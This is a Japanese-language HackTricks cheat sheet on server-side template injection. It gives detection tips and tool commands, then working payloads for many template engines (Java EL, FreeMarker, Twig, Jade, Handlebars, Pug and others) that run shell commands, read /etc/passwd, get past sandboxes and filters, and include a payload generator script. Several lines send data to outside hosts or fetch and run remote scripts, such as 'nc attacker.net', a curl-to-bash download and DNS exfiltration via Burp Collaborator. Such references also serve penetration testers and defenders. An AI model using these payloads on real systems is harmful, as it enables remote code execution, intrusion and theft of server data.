# SSTI (Server Side Template Injection)
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。 - **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
[**RootedCON**](https://www.rootedcon.com)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術的知識の促進を使命とする**この会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。 {% embed url="https://www.rootedcon.com/" %} ## SSTI(Server-Side Template Injection)とは サーバーサイドテンプレートインジェクションは、攻撃者がサーバーで実行されるテンプレートに悪意のあるコードをインジェクトできる脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つかる可能性があります。 JinjaはWebアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう: ```python output = template.render(name=request.args.get('name')) ``` この脆弱なコードでは、ユーザーのリクエストからの `name` パラメータが `render` 関数を使って直接テンプレートに渡されています。これにより、攻撃者が `name` パラメータに悪意のあるコードをインジェクトし、サーバーサイドのテンプレートインジェクションを引き起こす可能性があります。 たとえば、攻撃者は次のようなペイロードを持つリクエストを作成することができます: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` ペイロード `{{bad-stuff-here}}` が `name` パラメータにインジェクトされます。このペイロードには、攻撃者が不正なコードを実行したりテンプレートエンジンを操作したりして、サーバーを制御する可能性がある Jinja テンプレートディレクティブが含まれています。 サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよび検証されていることを確認する必要があります。入力検証の実装とコンテキストに応じたエスケープ技術の使用は、この脆弱性のリスクを緩和するのに役立ちます。 ### 検出 サーバーサイドテンプレートインジェクション(SSTI)を検出するために、まず**テンプレートのファジング**が直接的なアプローチです。これには、テンプレートに特殊文字のシーケンス(`${{<%[%'"}}%\`)をインジェクトし、通常のデータとこの特殊ペイロードとの違いを分析することが含まれます。脆弱性の指標には次のものがあります: - 脆弱性やテンプレートエンジンを明らかにするエラーの発生。 - 反射中にペイロードが存在しないか、または一部が欠落していることにより、サーバーが通常のデータと異なる方法で処理していることを示す。 - **プレーンテキストコンテキスト**:サーバーがテンプレート式を評価しているかどうかを確認することによって、XSS と区別する。 - **コードコンテキスト**:入力パラメータを変更して脆弱性を確認します。たとえば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。`greeting=data.username}}hello` はユーザー名を返します。 #### 識別フェーズ テンプレートエンジンを特定するには、エラーメッセージを分析したり、さまざまな言語固有のペイロードを手動でテストしたりする必要があります。エラーを引き起こす一般的なペイロードには `${7/0}`、`{{7/0}}`、`<%= 7/0 %>` が含まれます。数学的な操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定できます。 ## ツール ### [TInjA](https://github.com/Hackmanit/TInjA) 新しいポリグロットを利用する効率的な SSTI + CSTI スキャナー ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." ``` ### [SSTImap](https://github.com/vladko312/sstimap) ```bash python3 sstimap.py -i -l 5 python3 sstimap.py -u "http://example.com/ --crawl 5 --forms python3 sstimap.py -u 'https://example.com/page?name=John' -s ``` ### [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ### [テンプレートインジェクションテーブル](https://github.com/Hackmanit/template-injection-table) 44の主要なテンプレートエンジンの期待されるレスポンスとともに、最も効率的なテンプレートインジェクションポリグロットを含むインタラクティブなテーブル。 ## Exploits ### 一般的な この**ワードリスト**には、以下で言及されているエンジンの環境で定義された**変数**が含まれています: * [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) * [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) ### Java **Java - 基本的なインジェクション** ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} // if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}. ``` **Java - システムの環境変数を取得する** ```java ${T(java.lang.System).getenv()} ``` **Java - /etc/passwd の取得** ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ### FreeMarker (Java) あなたは、[https://try.freemarker.apache.org](https://try.freemarker.apache.org) でペイロードを試すことができます。 * `{{7*7}} = {{7*7}}` * `${7*7} = 49` * `#{7*7} = 49 -- (legacy)` * `${7*'7'} Nothing` * `${foobar}` ```java <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` **Freemarker - サンドボックス回避** ⚠️ Freemarkerバージョン2.3.30未満でのみ機能します ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` **詳細** * [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のFreeMarkerセクションを参照してください。 * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) ### Velocity (Java) ```java #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end ``` **詳細情報** * [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のVelocityセクション * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) ### Thymeleaf Thymeleafでは、SSTI脆弱性の一般的なテストとして`${7*7}`の式が使用されます。潜在的なリモートコード実行のために、以下のような式が使用されます: * SpringEL: ```java ${T(java.lang.Runtime).getRuntime().exec('calc')} ``` * OGNL: ```java ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、他のテンプレート位置では、`[[...]]`や`[(...)]`のような構文を使用して、_式のインライン化_がサポートされています。したがって、単純なSSTIテストペイロードは`[[${7*7}]]`のようになります。 ただし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト構成では、動的テンプレート生成はサポートされていません。テンプレートは事前に定義する必要があります。開発者は、文字列からテンプレートを動的に生成するために独自の`TemplateResolver`を実装する必要がありますが、これは一般的ではありません。 Thymeleafはまた、_式の前処理_を提供しており、ダブルアンダースコア(`__...__`)内の式が前処理されます。この機能は、Thymeleafのドキュメントで示されているように、式の構築に利用できます。 ```java #{selection.__${sel.code}__} ``` **Thymeleafにおける脆弱性の例** 以下のコードスニペットを考えてみてください。これは攻撃を受けやすい可能性があります: ```xml ``` これは、テンプレートエンジンがこれらの入力を適切に処理しない場合、次のようなURLにアクセスしてリモートコードを実行する可能性があることを示しています: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **詳細情報** * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Spring Framework (Java) ```java *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} ``` **フィルターをバイパスする** 複数の変数式を使用できます。`${...}`が機能しない場合は、`#{...}`、`*{...}`、`@{...}`、または`~{...}`を試してみてください。 * `/etc/passwd`を読む ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` * ペイロード生成用のカスタムスクリプト ```python #!/usr/bin/python3 ## Written By Zeyad Abulaban (zAbuQasem) # Usage: python3 gen.py "id" from sys import argv cmd = list(argv[1].strip()) print("Payload: ", cmd , end="\n\n") converted = [ord(c) for c in cmd] base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' end_payload = '.getInputStream())}' count = 1 for i in converted: if count == 1: base_payload += f"(T(java.lang.Character).toString({i}).concat" count += 1 elif count == len(converted): base_payload += f"(T(java.lang.Character).toString({i})))" else: base_payload += f"(T(java.lang.Character).toString({i})).concat" count += 1 print(base_payload + end_payload) ``` **詳細** * [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) * [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) ### Spring View Manipulation (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` * [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Pebble (Java) * `{{ someString.toUPPERCASE() }}` Pebbleの古いバージョン(バージョン3.0.9未満): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` 新しいPebbleのバージョン: ```java {% raw %} {% set cmd = 'id' %} {% endraw %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} ``` ### Jinjava (Java) ### Jinjava(Java) ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手可能です。 **Jinjava - コマンド実行** [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)によって修正されました。 ```java {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` **詳細情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) ### Hubspot - HuBL (Java) * `{% %}` ステートメントの区切り文字 * `{{ }}` 式の区切り文字 * `{# #}` コメントの区切り文字 * `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 * `{{'a'.toUpperCase()}}` - "A" * `{{'a'.concat('b')}}` - "ab" * `{{'a'.getClass()}}` - java.lang.String * `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest * `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() "com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、[GithubのJinjavaプロジェクト](https://github.com/HubSpot/jinjava/)を発見しました。 ```java {{request.isDebug()}} //output: False //Using string 'a' to get an instance of class sun.misc.Launcher {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} //output: sun.misc.Launcher@715537d4 //It is also possible to get a new object of the Jinjava class {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} //output: com.hubspot.jinjava.JinjavaConfig@78a56797 //It was also possible to call methods on the created object by combining the {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} {% endraw %} {{ji.render('{{1*2}}')}} //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}. //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} //output: xxx //RCE {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} //output: java.lang.UNIXProcess@1e5f456e //RCE with org.apache.commons.io.IOUtils. {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //output: netstat execution //Multiple arguments to the commands Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ``` **詳細情報** * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) ### Expression Language - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. * `#{7*7}` - 49 * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` Expression Language (EL)は、JavaEEにおいてプレゼンテーション層(Webページなど)とアプリケーションロジック(管理されたビーンなど)との間の相互作用を容易にする基本的な機能です。これは、このコミュニケーションを効率化するために、複数のJavaEEテクノロジー全体で広く使用されています。ELを利用する主要なJavaEEテクノロジーには次のものがあります: * **JavaServer Faces (JSF)**: ELを使用して、JSFページ内のコンポーネントを対応するバックエンドデータやアクションにバインドするために使用されます。 * **JavaServer Pages (JSP)**: JSPではELが使用され、JSPページ内のデータへのアクセスや操作が行われ、ページ要素をアプリケーションデータに接続することが容易になります。 * **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、Web層と管理されたビーンとの間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。 **ELインタプリタの悪用**について詳しく学ぶには、以下のページをチェックしてください: {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Groovy (Java) 以下のセキュリティマネージャーバイパスは、この[**解説記事**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取得されました。 ```java //Basic Payload import groovy.*; @groovy.transform.ASTTest(value={ cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net " assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) }) def x //Payload to get output import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) }) def x //Other payloads new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ```
​​[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 {% embed url="https://www.rootedcon.com/" %} ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **詳細情報** * Smartyセクションの[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{7*'7'}} = 49` * `{{1/0}} = Error` * `{{foobar}} Nothing` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` **Twig - テンプレート形式** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **詳細** * [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のTwigとTwig(Sandboxed)セクションを参照してください。 * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates(PHP) PlatesはPHP固有のテンプレートエンジンであり、Twigからインスピレーションを受けています。ただし、新しい構文を導入するTwigとは異なり、Platesはテンプレート内でネイティブのPHPコードを活用し、PHP開発者にとって直感的です。 コントローラ: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` ページのテンプレート: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` レイアウトテンプレート: ```html <?=$this->e($title)?> section('content')?> ``` **詳細** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) ### PHPlib と HTML\_Template\_PHPLIB (PHP) [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) は PHPlib と同じで、Pear に移植されています。 `authors.tpl` ```html {PAGE_TITLE}
Authors
NameEmail
{NUM_AUTHORS}
{AUTHOR_NAME}{AUTHOR_EMAIL}
``` `authors.php` ```php 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?> ``` **詳細情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib) ### Jade (NodeJS) ```javascript - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ```javascript #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` **詳細** * [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のJadeセクションにあります。 * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) ### patTemplate (PHP) > [patTemplate](https://github.com/wernerwa/pat-template)は、XMLタグを使用してドキュメントを異なる部分に分割する、コンパイルされないPHPテンプレートエンジンです。 ```xml This is the main page. It contains another template. Hello {NAME}.
``` **詳細** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate) ### Handlebars (NodeJS) パストラバーサル(詳細は[こちら](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/))。 ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` * \= エラー * ${7\*7} = ${7\*7} * 何も ```java {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D ``` **詳細情報** * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) ### JsRender (NodeJS) | **テンプレート** | **説明** | | ------------ | --------------------------------------- | | | 評価して出力をレンダリングする | | | 評価してHTMLエンコードされた出力をレンダリングする | | | コメント | | and | コードを許可(デフォルトでは無効) | * \= 49 **クライアントサイド** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` **サーバーサイド** ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` **詳細** * [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) ### PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` **サーバーサイドレンダリングの例** ```javascript var pugjs = require('pug'); home = pugjs.render(injected_page) ``` **詳細情報** * [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) ### NUNJUCKS (NodeJS)
